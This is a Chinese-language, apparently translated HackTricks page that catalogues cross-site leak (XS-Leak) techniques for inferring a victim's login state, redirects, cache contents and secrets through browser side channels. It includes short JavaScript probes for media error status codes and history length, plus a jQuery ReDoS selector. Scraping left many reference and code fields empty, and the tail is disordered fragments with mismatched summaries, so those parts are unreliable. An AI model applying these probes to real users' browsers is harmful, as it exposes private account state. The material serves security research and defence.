  • 摘要: 如果您可以使页面在访问正确内容时出现错误,并在访问任何内容时正确加载,那么您可以创建一个循环来提取所有信息,而无需测量时间。

  • 代码示例:

假设您可以插入包含秘密内容的页面到一个iframe中。

您可以让受害者搜索包含“flag”的文件,使用一个iframe(例如利用CSRF)。在iframe内,您知道**onload事件将始终至少执行一次。然后,您可以仅更改URL中的哈希内容来更改iframe的URL**。

例如:

  1. URL1: www.attacker.com/xssearch#try1

  2. URL2: www.attacker.com/xssearch#try2

如果第一个URL成功加载,那么当更改URL的哈希部分时,onload事件将不会再次触发。但是,如果页面在加载时出现某种错误,那么**onload事件将再次触发**。

然后,您可以区分一个正确加载的页面或访问时出现错误的页面。

Javascript执行

  • 包含方法: 框架

  • 可检测差异: 页面内容

  • 更多信息:

  • 摘要: 如果页面返回敏感内容,或者用户可以控制的内容。用户可以在负面情况下设置有效的JS代码,并在**<script>标签内加载每次尝试,因此在负面情况下,攻击者的代码将被执行**,而在肯定情况下不会执行任何操作。

  • 代码示例:

CORB - Onerror

  • 包含方法: HTML元素

  • 可检测差异: 状态码和标头

  • 摘要: 跨源读取阻止(CORB)是一项安全措施,防止网页加载某些敏感的跨源资源,以防止Spectre等攻击。然而,攻击者可以利用其保护行为。当受CORB保护的响应返回一个带有nosniff和2xx状态码的_CORB受保护_Content-Type时,CORB会剥离响应的主体和标头。观察到这一点的攻击者可以推断状态码(指示成功或错误)和Content-Type(表示是否受CORB保护)的组合,从而导致潜在的信息泄漏。

  • 代码示例:

查看更多信息链接以获取有关攻击的更多信息。

onblur

  • 包含方法: 框架

  • 可检测差异: 页面内容

  • 摘要: 从id或name属性中泄漏敏感数据。

可以加载一个页面到一个iframe中,并使用**#id_value使页面聚焦在iframe中指定的元素上,然后如果触发了onblur信号,则ID元素存在。 您可以使用portal**标签执行相同的攻击。

postMessage广播

  • 包含方法: 框架,弹出窗口

  • 可检测差异: API使用

  • 摘要: 从postMessage中收集敏感信息或使用postMessages的存在作为一个预言机来了解用户在页面中的状态

  • 代码示例: 任何监听所有postMessages的代码。

全局限制技术

WebSocket API

  • 包含方法: 框架,弹出窗口

  • 可检测差异: API使用

  • 摘要: 耗尽WebSocket连接限制会泄漏跨源页面的WebSocket连接数量。

可以确定目标页面使用了多少WebSocket连接。这使得攻击者可以检测应用程序状态并泄漏与WebSocket连接数量相关的信息。

如果一个源使用了最大数量的WebSocket连接对象,无论它们的连接状态如何,创建新对象将导致JavaScript异常。为执行此攻击,攻击者网站在弹出窗口或iframe中打开目标网站,然后在目标网站加载完成后,尝试创建尽可能多的WebSocket连接。抛出的异常数量就是目标网站窗口使用的WebSocket连接数量。

支付 API

  • 包含方法: 框架,弹出窗口

  • 可检测差异: API 使用

  • 摘要: 检测支付请求,因为一次只能有一个激活。

这种 XS-Leak 使攻击者能够检测跨源页面发起支付请求。

因为一次只能有一个请求支付处于活动状态,如果目标网站正在使用支付请求 API,任何进一步尝试使用此 API 的尝试都将失败,并导致JavaScript 异常。攻击者可以通过定期尝试显示支付 API UI来利用这一点。如果一次尝试导致异常,表示目标网站当前正在使用它。攻击者可以通过在创建后立即关闭 UI 来隐藏这些定期尝试。

计时事件循环

  • 包含方法:

  • 可检测差异: 计时(通常由页面内容、状态码引起)

  • 摘要: 测量滥用单线程 JS 事件循环的网页执行时间。

  • 代码示例:

在执行计时中,可以消除 网络因素以获得更精确的测量。例如,在加载页面之前加载页面使用的资源。

繁忙事件循环

  • 包含方法:

  • 可检测差异: 计时(通常由页面内容、状态码引起)

  • 摘要: 一种测量网页操作执行时间的方法是故意阻塞线程的事件循环,然后计时事件循环再次可用所需的时间。通过在事件循环中插入阻塞操作(如长时间计算或同步 API 调用),并监视后续代码开始执行所需的时间,可以推断在阻塞期间执行的任务的持续时间。这种技术利用了 JavaScript 事件循环的单线程特性,其中任务按顺序执行,并可以提供关于共享相同线程的其他操作的性能或行为的见解。

  • 代码示例:

通过锁定事件循环来测量执行时间的技术的一个重要优势是其潜力可以规避站点隔离。站点隔离是一种安全功能,将不同网站分隔到单独的进程中,旨在防止恶意网站直接访问其他网站的敏感数据。然而,通过影响通过共享事件循环对另一个源的执行时间,攻击者可以间接提取关于该源活动的信息。这种方法不依赖于直接访问其他源数据,而是观察该源活动对共享事件循环的影响,从而规避了站点隔离建立的保护屏障。

在执行计时中,可以消除 网络因素以获得更精确的测量。例如,在加载页面之前加载页面使用的资源。

连接池

  • 包含方法: JavaScript 请求

  • 可检测差异: 计时(通常由页面内容、状态码引起)

  • 摘要: 攻击者可以锁定除 1 之外的所有套接字,加载目标网页,同时加载另一页,直到最后一页开始加载的时间是目标页面加载所需的时间。

  • 代码示例:

浏览器利用套接字进行服务器通信,但由于操作系统和硬件资源有限,浏览器被迫对并发套接字数量施加限制。攻击者可以通过以下步骤利用这种限制:

  1. 确定浏览器的套接字限制,例如,256 个全局套接字。

  2. 通过向各个主机发起 255 个请求来占用 255 个套接字一段时间,这些请求旨在保持连接打开而不完成。

  3. 使用第 256 个套接字向目标页面发送请求。

  4. 尝试向另一个主机发送第 257 个请求。由于所有套接字都在使用中(根据步骤 2 和 3),此请求将排队等待,直到套接字可用。在此请求继续之前的延迟为攻击者提供了有关与第 256 个套接字相关的网络活动的时间信息(目标页面的套接字)。这种推断是可能的,因为步骤 2 中的 255 个套接字仍在使用中,这意味着任何新可用的套接字必须是从步骤 3 释放的套接字。第 256 个套接字变为可用所需的时间直接与请求完成目标页面所需的时间相关联。

按目标的连接池

  • 包含方法: JavaScript 请求

  • 可检测差异: 计时(通常由页面内容、状态码引起)

  • 更多信息:

  • 摘要: 这类似于前一种技术,但不是使用所有套接字,Google Chrome 将同一源的并发请求限制为 6 个。如果我们阻塞 5 个,然后发起第 6 个请求,我们可以计时它,如果我们设法使受害页面发送更多请求到同一端点以检测页面的状态,第 6 个请求将花费更长时间,我们可以检测到。

性能API技术

除了时间测量之外,性能API还可用于安全相关洞察。例如,在Chrome中,performance 对象中页面的存在或不存在可以指示 X-Frame-Options 的应用。具体来说,如果由于 X-Frame-Options 而阻止页面在框架中呈现,则该页面将不会记录在 performance 对象中,为页面的框架策略提供了微妙的线索。

错误泄漏

  • 包含方法:框架,HTML元素

  • 可检测差异:状态码

  • 摘要:导致错误的请求不会创建资源定时条目。

可以区分HTTP响应状态码,因为导致错误的请求不会创建性能条目。

样式重新加载错误

  • 包含方法:HTML元素

  • 可检测差异:状态码

  • 摘要:由于浏览器错误,导致错误的请求加载两次。

在先前的技术中,还确定了两种情况,即浏览器中GC的错误导致加载失败时资源加载两次。这将导致性能API中的多个条目,并因此可以被检测到。

请求合并错误

  • 包含方法:HTML元素

  • 可检测差异:状态码

  • 摘要:导致错误的请求无法合并。

空白页面泄漏

  • 包含方法:框架

  • 可检测差异:页面内容

  • 摘要:空白响应不会创建资源定时条目。

攻击者可以检测请求是否导致空的HTTP响应主体,因为某些浏览器中的空白页面不会创建性能条目。

XSS审计泄漏

  • 包含方法:框架

  • 可检测差异:页面内容

  • 摘要:使用安全断言中的XSS审计,攻击者可以通过观察当精心制作的有效负载触发审计过滤机制时响应中的变化,检测特定网页元素。

在安全断言(SA)中,XSS审计最初旨在防止跨站脚本(XSS)攻击,但却可以被利用来泄漏敏感信息。尽管这一内置功能已从Google Chrome(GC)中移除,但仍存在于SA中。2013年,Braun和Heiderich证明XSS审计可能无意中阻止合法脚本,导致误报。基于此,研究人员开发了技术来提取信息并检测跨源页面上的特定内容,这是一种称为XS-Leaks的概念,最初由Terada报告,由Heyes在博客文章中详细说明。尽管这些技术特定于GC中的XSS审计,但发现在SA中,被XSS审计阻止的页面不会在性能API中生成条目,揭示了一种仍然可能泄漏敏感信息的方法。

X-Frame泄漏

  • 包含方法:框架

  • 可检测差异:头部

  • 摘要:具有X-Frame-Options头的资源不会创建资源定时条目。

如果页面不允许在iframe中呈现,则不会创建性能条目。因此,攻击者可以检测响应头部**X-Frame-Options。 如果使用嵌入** 标签也会发生同样的情况。

下载检测

  • 包含方法:框架

  • 可检测差异:头部

  • 摘要:下载不会在性能API中创建资源定时条目。

类似于所描述的XS-Leak,由于ContentDisposition头部而下载的资源也不会创建性能条目。这种技术适用于所有主要浏览器。

重定向开始泄漏

  • 包含方法: 框架

  • 可检测差异: 重定向

  • 摘要: 资源时间记录泄漏了重定向的开始时间。

我们发现了一个 XS-Leak 实例,滥用了一些浏览器的行为,这些浏览器为跨源请求记录了过多信息。标准定义了一组应该为跨源资源设置为零的属性。然而,在 SA 中,可以通过查询 Performance API 并检查 redirectStart 时间数据 来检测用户是否被目标页面 重定向。

重定向持续时间泄漏

  • 包含方法: Fetch API

  • 可检测差异: 重定向

  • 摘要: 当发生重定向时,时间记录的持续时间为负数。

在 GC 中,导致 重定向 的请求的 持续时间 为 负数,因此可以与不导致重定向的请求区分开来。

CORP 泄漏

  • 包含方法: 框架

  • 可检测差异: 头部

  • 摘要: 受 CORP 保护的资源不会创建资源时间记录。

在某些情况下,nextHopProtocol 条目 可以用作泄漏技术。在 GC 中,当设置了 CORP 头部 时,nextHopProtocol 将为空。请注意,对于启用 CORP 的资源,SA 将不会为其创建性能条目。

服务工作者

  • 包含方法: 框架

  • 可检测差异: API 使用

  • 摘要: 检测特定来源是否注册了服务工作者。

  • 代码示例:

服务工作者是以事件驱动的脚本上下文,在一个来源上运行。它们在网页的后台运行,可以拦截、修改和 缓存资源 以创建离线网络应用。 如果通过 iframe 访问了由 服务工作者 缓存的 资源,则该资源将从服务工作者缓存中 加载。 要检测资源是否从服务工作者缓存中加载,可以使用 Performance API。 这也可以通过定时攻击来实现(查看论文获取更多信息)。

缓存

  • 包含方法: Fetch API

  • 可检测差异: 时间

  • 摘要: 可以检查资源是否存储在缓存中。

网络持续时间

  • 包含方法: Fetch API

  • 可检测差异: 页面内容

  • 摘要: 可以从 performance API 中检索请求的网络持续时间。

错误消息技术

媒体错误

  • 包含方法: HTML 元素(视频,音频)

  • 可检测差异: 状态码

  • 摘要: 在 Firefox 中,可以准确泄漏跨源请求的状态码。

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

CORS错误

  • 包含方法:Fetch API

  • 可检测差异:标头

  • 摘要:在安全断言(SA)中,CORS错误消息无意中暴露了重定向请求的完整URL。

这种技术使攻击者能够通过利用基于Webkit的浏览器处理CORS请求的方式,提取跨源站点重定向的目标。具体来说,当向发出基于用户状态的重定向的目标站点发送启用CORS的请求,并且浏览器随后拒绝该请求时,错误消息中会披露重定向目标的完整URL。这种漏洞不仅揭示了重定向的事实,还暴露了重定向的终点以及可能包含的任何敏感查询参数。

SRI错误

  • 包含方法:Fetch API

  • 可检测差异:标头

  • 摘要:在安全断言(SA)中,CORS错误消息无意中暴露了重定向请求的完整URL。

攻击者可以利用冗长的错误消息推断跨源响应的大小。这是由于子资源完整性(SRI)的机制,它使用完整性属性验证从CDN等地方获取的资源是否被篡改。为了使SRI在跨源资源上起作用,这些资源必须是启用CORS的;否则,它们不会受到完整性检查。在安全断言(SA)中,就像CORS错误XS-Leak一样,可以在带有完整性属性的fetch请求失败后捕获错误消息。攻击者可以通过为任何请求的完整性属性分配虚假哈希值来故意触发此错误。在SA中,产生的错误消息无意中揭示了所请求资源的内容长度。这种信息泄漏使攻击者能够辨别响应大小的变化,为复杂的XS-Leak攻击铺平了道路。

CSP违规/检测

  • 包含方法:弹出窗口

  • 可检测差异:状态码

  • 摘要:如果我们访问的受害者网站尝试重定向到不同的域,CSP将触发可检测的错误。

XS-Leak可以使用CSP检测跨源站点是否被重定向到不同的源。此泄漏可以检测重定向,但另外,重定向目标的域也会泄漏。这种攻击的基本思想是在攻击者站点上允许目标域。一旦向目标域发出请求,它重定向到一个跨源域。CSP阻止对其的访问并创建用作泄漏技术的违规报告。根据浏览器的不同,此报告可能会泄露重定向的目标位置。 现代浏览器不会指示重定向到的URL,但您仍然可以检测到触发了跨源重定向。

缓存

  • 包含方法:框架,弹出窗口

  • 可检测差异:页面内容

  • 摘要:清除缓存中的文件。打开目标页面检查缓存中是否存在该文件。

  • 代码示例:

浏览器可能为所有网站使用一个共享缓存。无论其来源如何,都可以推断目标页面是否请求了特定文件。

如果页面仅在用户登录时加载图像,您可以使资源无效(因此如果已缓存,则不再缓存,请参阅更多信息链接),执行可能加载该资源的请求,并尝试使用错误请求加载资源(例如使用过长的引用者标头)。如果资源加载没有触发任何错误,那是因为它被缓存了。

CSP指令

  • 包含方法:框架

  • 可检测差异:标头

  • 摘要:CSP标头指令可以通过CSP iframe属性进行探测,揭示策略细节。

Google Chrome(GC)中的一项新功能允许网页通过在iframe元素上设置属性来提出内容安全策略(CSP),并随HTTP请求传输策略指令。通常,嵌入内容必须通过HTTP标头授权,否则将显示错误页面。但是,如果iframe已经受CSP控制,并且新提出的策略不比原来更严格,页面将正常加载。这种机制为攻击者打开了一条路径,可以通过识别错误页面检测跨源页面的特定CSP指令。尽管此漏洞被标记为已修复,但我们的发现揭示了一种新的泄漏技术,能够检测错误页面,表明根本问题从未完全解决。

CORP

  • 包含方法:Fetch API

  • 可检测差异:标头

  • 摘要:受Cross-Origin Resource Policy(CORP)保护的资源在从不允许的来源获取时会抛出错误。

CORP标头是一个相对较新的Web平台安全功能,当设置时阻止不允许的来源的no-cors跨源请求到给定资源。可以检测到标头的存在,因为受CORP保护的资源在获取时会抛出错误。

CORB

  • Inclusion Methods: HTML Elements

  • Detectable Difference: Headers

  • Summary: CORB可以允许攻击者检测请求中是否存在nosniff头部。

查看链接以获取有关攻击的更多信息。

CORS error on Origin Reflection misconfiguration

  • Inclusion Methods: Fetch API

  • Detectable Difference: Headers

  • Summary: 如果Origin头部在Access-Control-Allow-Origin头部中被反射,就可以检查资源是否已经在缓存中。

如果Origin头部在Access-Control-Allow-Origin头部中被反射,攻击者可以利用这种行为尝试以CORS模式获取资源。如果没有触发错误,则表示资源已从网络正确获取,如果触发了错误,则表示资源是从缓存中访问的(错误出现是因为缓存保存了带有允许原始域而不是攻击者域的CORS头部的响应)。 请注意,如果Origin没有被反射,而是使用通配符(Access-Control-Allow-Origin: *),这种方法将不起作用。

Readable Attributes Technique

Fetch Redirect

  • Inclusion Methods: Fetch API

  • Detectable Difference: Status Code

  • Summary: 在重定向完成后,GC和SA允许检查响应的类型(opaque-redirect)。

使用Fetch API提交请求,并使用redirect: "manual"和其他参数,可以读取response.type属性,如果等于opaqueredirect,则响应是一个重定向。

COOP

  • Inclusion Methods: Pop-ups

  • Detectable Difference: Header

  • Summary: 受Cross-Origin Opener Policy(COOP)保护的页面阻止跨源交互访问。

攻击者能够推断跨源HTTP响应中是否存在Cross-Origin Opener Policy(COOP)头部。Web应用程序使用COOP来阻止外部站点获取任意窗口引用。可以通过尝试访问contentWindow引用来识别此头部的可见性。在条件应用COOP的情况下,opener属性成为一个显著的指标:当COOP激活时,它是未定义的,而在其缺席时是定义的。

URL Max Length - Server Side

  • Inclusion Methods: Fetch API, HTML Elements

  • Detectable Difference: Status Code / Content

  • Summary: 由于重定向响应长度可能过大,服务器可能会以错误响应并生成警报的方式检测响应差异。

如果服务器端重定向使用用户输入和额外数据,可以检测到这种行为,因为通常服务器有请求长度限制。如果用户数据长度减去1,因为重定向使用该数据并添加额外内容,将触发通过错误事件可检测的错误。

如果您可以向用户设置cookie,还可以通过设置足够的cookie(cookie炸弹)来执行此攻击,因此通过增加正确响应的响应大小,将触发错误。在这种情况下,请记住,如果您从同一站点触发此请求,<script>将自动发送cookie(因此您可以检查错误)。 在初始URL的哈希中添加所有达到2MB所需的额外信息,以便在重定向中使用。

URL Max Length - Client Side

  • Inclusion Methods: Pop-ups

  • Detectable Difference: Status Code / Content

  • Summary: 由于重定向响应长度可能过大,可能会注意到请求的差异。

一般来说,_web平台_对URL长度没有限制(尽管2^31是一个常见限制)。_Chrome_出于实际原因和避免在进程间通信中引起拒绝服务问题的考虑,将URL限制为最大长度为2MB。

因此,如果在某种情况下重定向URL响应较大,可以使其重定向的URL大于2MB以达到长度限制。当发生这种情况时,Chrome会显示一个about:blank#blocked页面。

显着的差异在于,如果重定向已完成,window.origin会抛出错误,因为跨源无法访问该信息。但是,如果达到了限制并且加载的页面是about:blank#blocked,则窗口的origin仍然是父级的origin,这是可访问的信息。

所有达到2MB所需的额外信息都可以通过初始URL中的哈希添加,以便在重定向中使用。

最大重定向次数

  • 包含方法:Fetch API, Frames

  • 可检测差异:状态码

  • 摘要:使用浏览器的重定向限制来确定 URL 重定向的发生。

如果浏览器的最大重定向次数为 20,攻击者可以尝试加载他的页面进行 19 次重定向,最终将受害者发送到被测试的页面。如果触发了错误,则页面试图重定向受害者。

历史记录长度

  • 包含方法:Frames, Pop-ups

  • 可检测差异:重定向

  • 摘要:JavaScript 代码可以操纵浏览器历史记录,并且可以通过长度属性访问。

历史 API 允许 JavaScript 代码操纵浏览器历史记录,这保存了用户访问的页面。攻击者可以使用长度属性作为包含方法:检测 JavaScript 和 HTML 导航。 检查 history.length,让用户导航到一个页面,将其改回同源,并检查 history.length 的新值。

具有相同 URL 的历史记录长度

  • 包含方法:Frames, Pop-ups

  • 可检测差异:如果 URL 与猜测的 URL 相同

  • 摘要:可以通过滥用历史记录长度来猜测框架/弹出窗口的位置是否在特定 URL 中。

  • 代码示例:如下

攻击者可以使用 JavaScript 代码将框架/弹出窗口位置操纵到一个猜测的位置,然后立即将其更改为 about:blank。如果历史记录长度增加,这意味着 URL 是正确的,并且有时间增加,因为如果 URL 相同,则不会重新加载。如果长度没有增加,这意味着它尝试加载猜测的 URL,但因为我们立即加载了 about:blank,当加载猜测的 URL 时,历史记录长度从未增加。

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

帧计数

  • 包含方法: 框架,弹出窗口

  • 可检测差异: 页面内容

  • 摘要: 通过检查 window.length 属性评估 iframe 元素的数量。

通过 iframe 或 window.open 打开的网页中帧的数量可能有助于识别用户在该页面上的状态。 此外,如果页面始终具有相同数量的帧,持续检查帧的数量可能有助于识别可能泄露信息的模式。

HTMLElements

  • 包含方法: HTML 元素

  • 可检测差异: 页面内容

  • 摘要: 读取泄露的值以区分两种可能的状态

通过 HTML 元素泄露信息在 Web 安全中是一个问题,特别是当基于用户信息生成动态媒体文件,或者添加水印改变媒体大小时。攻击者可以利用这一点,通过分析某些 HTML 元素暴露的信息来区分可能的状态。

HTML 元素泄露的信息

CSS 属性

  • 包含方法: HTML 元素

  • 可检测差异: 页面内容

  • 摘要: 识别与用户状态或状态相关的网站样式变化。

Web 应用程序可能根据用户状态更改网站样式。跨域 CSS 文件可以通过HTML 链接元素嵌入到攻击者页面中,并且这些规则将应用于攻击者页面。如果页面动态更改这些规则,攻击者可以根据用户状态检测这些差异。 作为一种泄漏技术,攻击者可以使用 window.getComputedStyle 方法来读取特定 HTML 元素的 CSS 属性。因此,如果已知受影响的元素和属性名称,攻击者可以读取任意 CSS 属性。

CSS 历史

  • 包含方法: HTML 元素

  • 可检测差异: 页面内容

  • 摘要: 检测是否应用了 :visited 样式于 URL,指示其已被访问过

CSS :visited 选择器用于在用户先前访问过的情况下以不同样式显示 URL。过去,getComputedStyle() 方法可用于识别这些样式差异。然而,现代浏览器已经实施了安全措施,防止此方法揭示链接状态。这些措施包括始终返回计算样式,就像链接已被访问一样,并限制可以使用 :visited 选择器应用的样式。

尽管存在这些限制,仍然可以间接地辨别链接的访问状态。一种技术涉及欺骗用户与受 CSS 影响的区域进行交互,特别是利用 mix-blend-mode 属性。此属性允许元素与其背景混合,根据用户交互可能显示已访问状态。

此外,可以通过利用链接的渲染时间来实现无需用户交互的检测。由于浏览器可能以不同方式呈现已访问和未访问的链接,这可能导致渲染时出现可测量的时间差异。在 Chromium 缺陷报告中提到了一个概念验证(PoC),演示了使用多个链接放大时间差异的技术,从而通过时间分析使已访问状态可检测。

有关这些属性和方法的更多详细信息,请访问它们的文档页面:

ContentDocument X-Frame Leak

  • Inclusion Methods: Frames

  • Detectable Difference: Headers

  • Summary: 在Google Chrome中,当由于X-Frame-Options限制而阻止页面嵌入到跨源站点时,会显示专用错误页面。

在Chrome中,如果将X-Frame-Options头设置为"deny"或"same-origin"的页面作为对象嵌入,将出现错误页面。与在iframes或其他浏览器中不同,Chrome为此对象的contentDocument属性返回一个空文档对象(而不是null)。攻击者可以利用这一点检测空文档,可能揭示有关用户状态的信息,尤其是如果开发人员不一致地设置X-Frame-Options头,经常忽视错误页面。意识到并一致应用安全头部对于防止此类泄漏至关重要。

Download Detection

  • Inclusion Methods: Frames, Pop-ups

  • Detectable Difference: Headers

  • Summary: 攻击者可以利用iframes来识别文件下载;iframe的持续可访问性意味着文件下载成功。

特别是Content-Disposition: attachment头指示浏览器下载内容而不是内联显示。这种行为可以被利用来检测用户是否可以访问触发文件下载的页面。在基于Chromium的浏览器中,有一些技术可以检测这种下载行为:

  1. 下载栏监控:

  • 当在基于Chromium的浏览器中下载文件时,下载栏会出现在浏览器窗口底部。

  • 通过监控窗口高度的变化,攻击者可以推断下载栏的出现,表明已启动下载。

  1. 使用iframes进行下载导航:

  • 当页面使用Content-Disposition: attachment头触发文件下载时,不会引起导航事件。

  • 通过在iframe中加载内容并监控导航事件,可以检查内容设置是否导致文件下载(无导航)。

  1. 不使用iframes进行下载导航:

  • 类似于iframe技术,此方法涉及使用window.open而不是iframe。

  • 监控新打开窗口中的导航事件可以揭示文件下载是否被触发(无导航),或者内容是否内联显示(发生导航)。

在只有已登录用户可以触发此类下载的情况下,这些技术可以用于间接推断用户的身份验证状态,根据浏览器对下载请求的响应。

Partitioned HTTP Cache Bypass

  • Inclusion Methods: Pop-ups

  • Detectable Difference: Timing

  • Summary: 攻击者可以利用iframes来识别文件下载;iframe的持续可访问性意味着文件下载成功。

如果站点example.com包含来自*.example.com/resource的资源,则该资源将与直接通过顶级导航请求资源具有相同的缓存键。这是因为缓存键由顶级_eTLD+1_和frame _eTLD+1_组成。

由于访问缓存比加载资源更快,可以尝试更改页面的位置并在停止后取消20毫秒(例如)后。如果停止后更改了来源,这意味着资源已被缓存。 或者只需向可能已缓存的页面发送一些fetch并测量加载所需的时间。

手动重定向

  • Inclusion Methods: Fetch API

  • Detectable Difference: Redirects

  • Summary: 可以查明对fetch请求的响应是否是重定向

  • Code Example:

使用AbortController进行fetch

  • Inclusion Methods: Fetch API

  • Detectable Difference: Timing

  • Summary: 可以尝试加载资源并在加载之前中止加载,根据是否触发错误来判断资源是否已缓存。

使用_fetch_和_setTimeout_与AbortController来检测资源是否已缓存,并从浏览器缓存中清除特定资源。此外,该过程在不缓存新内容的情况下进行。

脚本污染

  • 包含方法: HTML元素(script)

  • 可检测差异: 页面内容

  • 摘要: 可以覆盖内置函数并读取它们的参数,即使来自跨源脚本(无法直接读取),这可能会泄露有价值的信息。

服务工作者

  • 包含方法: 弹出窗口

  • 可检测差异: 页面内容

  • 摘要: 使用服务工作者测量网页的执行时间。

  • 代码示例:

在给定的场景中,攻击者主动注册一个服务工作者在他们的一个域中,具体来说是"attacker.com"。接下来,攻击者从主文档中打开目标网站的一个新窗口,并指示服务工作者启动计时器。当新窗口开始加载时,攻击者导航到在前一步骤中获得的引用,该引用由服务工作者管理的页面。

在前一步骤中发起的请求到达时,服务工作者以**204(无内容)**状态代码做出响应,有效地终止导航过程。此时,服务工作者从前两步中启动的计时器中捕获一个测量。这个测量受到导航过程中由JavaScript引起的延迟持续时间的影响。

在执行时间中,可以消除 网络因素以获得更精确的测量。例如,通过在加载页面之前加载页面使用的资源。

获取时间

  • 包含方法: 获取API

  • 可检测差异: 时间(通常由页面内容、状态代码引起)

跨窗口时间

  • 包含方法: 弹出窗口

  • 可检测差异: 时间(通常由页面内容、状态代码引起)

使用HTML或重新注入

在这里,您可以找到从跨源HTML中注入HTML内容中突出信息的技术。在某些情况下,您可以注入HTML但无法注入JS代码时,这些技术非常有趣。

悬挂标记

图像延迟加载

如果您需要窃取内容并且可以在秘密之前添加HTML,则应检查常见的悬挂标记技术。 但是,如果出于任何原因您必须逐个字符执行(也许通信是通过缓存命中),您可以使用此技巧。

HTML中的图像有一个“loading”属性,其值可以是“lazy”。在这种情况下,图像将在查看时加载,而不是在页面加载时加载:

<img src=/something loading=lazy >

另一个选择是使用scroll-to-text-fragment(如果允许):

滚动到文本片段

但是,您可以让机器人访问页面,例如:

#:~:text=SECR

所以网页将是这样的:https://victim.com/post.html#:~:text=SECR

其中post.html包含攻击者的垃圾字符和延迟加载图像,然后机器人的秘密被添加。

这段文本的作用是让机器人访问页面中包含文本SECR的任何文本。由于该文本是秘密,而且它就在图像下方,只有在猜测的秘密正确时图像才会加载。因此,您有了逐个字符窃取秘密的神谕。

图像延迟加载基于时间

ReDoS

CSS ReDoS

如果使用jQuery(location.hash),可以通过计时来找出是否存在某些HTML内容,这是因为如果选择器main[id='site-main']不匹配,则无需检查其余的选择器:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS注入

防御

参考资料

从零开始学习AWS黑客技术,成为专家 !

支持 HackTricks 的其他方式:

HTML 元素: HTML 提供各种元素用于包含跨源资源,如样式表、图像或脚本,迫使浏览器请求非 HTML 资源。可以在 找到此目的的潜在 HTML 元素的汇编。

XSinator 是一个自动工具,用于检查浏览器是否受到几种已知 XS-Leaks 的影响,其论文解释在:

您可以在 访问该工具。

使用 可以轻松构建和自动化工作流,利用全球最先进的社区工具。 立即获取访问权限:

时钟: API允许开发人员获取高分辨率的时间测量。 攻击者可以滥用大量API来创建隐式时钟:, , , , CSS动画等。 更多信息:.

更多信息:,

代码示例:

More info:

Summary: API可用于测量执行请求所需的时间。然而,也可以使用其他时钟,如,可识别运行超过50毫秒的任务。

Code Example: 另一个示例在:

More info:

Summary: 可使用来测量执行请求所需的时间。也可以使用其他时钟。

Code Example:

通过利用和事件,可以测量获取资源所需的时间。**beforeunload事件在浏览器即将导航到新页面时触发,而unload**事件发生在实际导航时。可以计算这两个事件之间的时间差来确定浏览器获取资源所花费的时间。

More info:

Summary: API可用于测量执行请求所需的时间。也可以使用其他时钟。

Code Example:

观察到,在缺乏的情况下,攻击者可以测量页面及其子资源通过网络加载所需的时间。这通常是可能的,因为仅当iframe的onload处理程序在资源加载和JavaScript执行完成后才会触发。为了绕过脚本执行引入的变化,攻击者可能会在<iframe>内使用属性。包含此属性会限制许多功能,特别是JavaScript的执行,从而促进主要受网络性能影响的测量。

更多信息:

更多信息: ,

代码示例:

更多信息:

应用程序经常使用在不同源之间进行通信。然而,如果未正确指定targetOrigin参数,此方法可能无意中暴露敏感信息,允许任何窗口接收消息。此外,接收消息本身可以充当一个预言机;例如,某些消息可能仅发送给已登录的用户。因此,这些消息的存在或不存在可以揭示有关用户状态或身份的信息,例如他们是否已经认证。

使用可以轻松构建和自动化工作流,使用全球最先进的社区工具。 立即获取访问权限:

更多信息: (5.1)

代码示例: ,

更多信息: (5.1)

代码示例:

更多信息:

JavaScript 在并发模型上运行,这意味着一次只能执行一个任务。这个特性可以被利用来衡量来自不同源的代码执行所需的时间。攻击者可以通过连续分派具有固定属性的事件来测量他们自己代码在事件循环中的执行时间。这些事件将在事件池为空时被处理。如果其他源也将事件分派到相同的池中,攻击者可以通过观察自己任务执行的延迟来推断外部事件执行所需的时间。通过监视事件循环中的延迟来检测延迟,可以揭示来自不同源的代码的执行时间,可能暴露敏感信息。

更多信息:

更多信息:

了解更多信息:

提供了对Web应用性能指标的洞察,进一步由丰富。资源定时API使得监控详细的网络请求时间成为可能,例如请求的持续时间。值得注意的是,当服务器在其响应中包含 Timing-Allow-Origin: * 头时,额外的数据如传输大小和域查找时间变得可用。

这些丰富的数据可以通过诸如或等方法检索,提供了性能相关信息的全面视图。此外,该API通过计算从获得的时间戳之间的差异,便于测量执行时间。然而,值得注意的是,对于Chrome等浏览器中的某些操作,performance.now() 的精度可能仅限于毫秒,这可能会影响时间测量的粒度。

更多信息: (5.2)

代码示例:

更多信息: (5.2)

代码示例:

更多信息: (5.2)

代码示例:

在提到的论文中找到了这种技术,但没有找到关于该技术的描述。然而,您可以在中找到检查它的源代码。

更多信息: (5.2)

代码示例:

更多信息: (5.2)

代码示例:

更多信息: (5.2), ,

代码示例:

更多信息: (5.2)

代码示例:

更多信息: (5.2)

代码示例:

更多信息: (5.2)

代码示例:

更多信息: (5.2)

代码示例:

更多信息:

更多信息:

代码示例: ,

使用 可以检查资源是否已缓存。

更多信息:

代码示例:

更多信息:

代码示例:

更多信息: (5.3)

代码示例:

更多信息: (5.3)

代码示例:

更多信息:, ,

代码示例:,

